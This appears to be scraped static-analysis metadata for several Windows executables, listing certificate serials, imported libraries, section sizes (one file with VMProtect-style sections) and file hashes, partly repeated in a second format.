Key Usages

33:00:00:02:c2:81:3c:ef:6a:1e:09:24:01:00:00:00:00:02:c2Certificate

Extended Key Usages

61:0c:52:4c:00:00:00:00:00:03Certificate

Key Usages

97:53:50:74:4d:cd:f2:57:fd:4d:df:a5:07:b3:14:af:2b:c4:b0:91:5a:2c:87:0d:d7:6b:a3:c0:2f:8e:77:92Signer

42:54:f2:61:c2:70:7d:07:bf:df:33:c9:b8:51:1e:4c:4f:28:87:50Signer

Headers

DLL Characteristics

File Characteristics

Imports

ntdll

kernel32

advapi32

crypt32

wintrust

winhttp

ole32

oleaut32

shlwapi

Exports

Exports

Sections

.text Size: 406KB - Virtual size: 406KB

.rdata Size: 148KB - Virtual size: 148KB

.data Size: 11KB - Virtual size: 16KB

.pdata Size: 20KB - Virtual size: 20KB

.rsrc Size: 1024B - Virtual size: 960B

.reloc Size: 3KB - Virtual size: 3KB

e74959acf8d102fe14144468dae6b4a4

Code Sign

34:4b:81:97:93:99:7a:b3:44:94:67:0e:68:69:52:f3Certificate

39:4c:25:e1:7c:a0:6d:27:a8:65:e2:3b:d9:1d:22:d4Certificate

Extended Key Usages

Key Usages

30:0f:6f:ac:dd:66:98:74:7c:a9:46:36:a7:78:2d:b9Certificate

Extended Key Usages

Key Usages

9f:f8:49:2c:d5:4e:ad:f1:6e:09:1b:0d:01:26:55:4f:0b:16:ef:c3:97:d5:5a:8c:da:98:47:f9:33:22:4e:e6Signer

Headers

DLL Characteristics

File Characteristics

Imports

kernel32

user32

advapi32

gdi32

shlwapi

winhttp

iphlpapi

wininet

crypt32

Sections

.text Size: - Virtual size: 394KB

.rdata Size: - Virtual size: 47KB

.data Size: - Virtual size: 8KB

.vmp0 Size: - Virtual size: 3.0MB

.vmp1 Size: 1KB - Virtual size: 1KB

.vmp2 Size: 4.7MB - Virtual size: 4.7MB

.reloc Size: 1KB - Virtual size: 1KB

.rsrc Size: 75KB - Virtual size: 75KB

d0a9f9d675e896da1eff48651ce83dd8

Code Sign

7e:93:eb:fb:7c:c6:4e:59:ea:4b:9a:77:d4:06:fc:3bCertificate

Extended Key Usages

33:00:00:01:23:30:43:8d:24:48:3c:a0:d7:00:00:00:00:01:23
Certificate

33:00:00:01:e3:7d:a3:1f:82:84:dc:e4:a1:00:02:00:00:01:e3
Certificate

61:04:35:45:00:00:00:00:00:3f
Certificate

61:16:68:34:00:00:00:00:00:1c
Certificate

33:00:00:02:c2:81:3c:ef:6a:1e:09:24:01:00:00:00:00:02:c2
Certificate

61:0c:52:4c:00:00:00:00:00:03
Certificate

97:53:50:74:4d:cd:f2:57:fd:4d:df:a5:07:b3:14:af:2b:c4:b0:91:5a:2c:87:0d:d7:6b:a3:c0:2f:8e:77:92
Signer

42:54:f2:61:c2:70:7d:07:bf:df:33:c9:b8:51:1e:4c:4f:28:87:50
Signer

.text
Size: 406KB - Virtual size: 406KB

.rdata
Size: 148KB - Virtual size: 148KB

.data
Size: 11KB - Virtual size: 16KB

.pdata
Size: 20KB - Virtual size: 20KB

.rsrc
Size: 1024B - Virtual size: 960B

.reloc
Size: 3KB - Virtual size: 3KB

34:4b:81:97:93:99:7a:b3:44:94:67:0e:68:69:52:f3
Certificate

39:4c:25:e1:7c:a0:6d:27:a8:65:e2:3b:d9:1d:22:d4
Certificate

30:0f:6f:ac:dd:66:98:74:7c:a9:46:36:a7:78:2d:b9
Certificate

9f:f8:49:2c:d5:4e:ad:f1:6e:09:1b:0d:01:26:55:4f:0b:16:ef:c3:97:d5:5a:8c:da:98:47:f9:33:22:4e:e6
Signer

.text
Size: - Virtual size: 394KB

.rdata
Size: - Virtual size: 47KB

.data
Size: - Virtual size: 8KB

.vmp0
Size: - Virtual size: 3.0MB

.vmp1
Size: 1KB - Virtual size: 1KB

.vmp2
Size: 4.7MB - Virtual size: 4.7MB

.reloc
Size: 1KB - Virtual size: 1KB

.rsrc
Size: 75KB - Virtual size: 75KB

7e:93:eb:fb:7c:c6:4e:59:ea:4b:9a:77:d4:06:fc:3b
Certificate

0e:cf:f4:38:c8:fe:bf:35:6e:04:d8:6a:98:1b:1a:50
Certificate

25:0c:e8:e0:30:61:2e:9f:2b:89:f7:05:4d:7c:f8:fd
Certificate

61:0c:12:06:00:00:00:00:00:1b
Certificate

51:9b:d9:67:f9:08:01:55:21:a2:0c:0e:93:16:f4:89
Certificate

52:00:e5:aa:25:56:fc:1a:86:ed:96:c9:d4:4b:33:c7
Certificate

5c:52:6d:af:38:ee:d7:43:38:55:4c:ba:d9:01:9a:fa:4c:85:dc:e4
Signer

.text
Size: 268KB - Virtual size: 268KB

.rdata
Size: 69KB - Virtual size: 69KB

.data
Size: 5KB - Virtual size: 6KB

.pdata
Size: 16KB - Virtual size: 16KB

.reloc
Size: 2KB - Virtual size: 1KB

.rsrc
Size: 2KB - Virtual size: 4KB

.rsrc
Size: 7KB - Virtual size: 8KB

.text
Size: 2.1MB - Virtual size: 2.1MB

.rsrc
Size: 1KB - Virtual size: 1KB

.reloc
Size: 512B - Virtual size: 12B

.text
Size: 2.0MB - Virtual size: 2.0MB

.rsrc
Size: 1KB - Virtual size: 1KB

.reloc
Size: 512B - Virtual size: 12B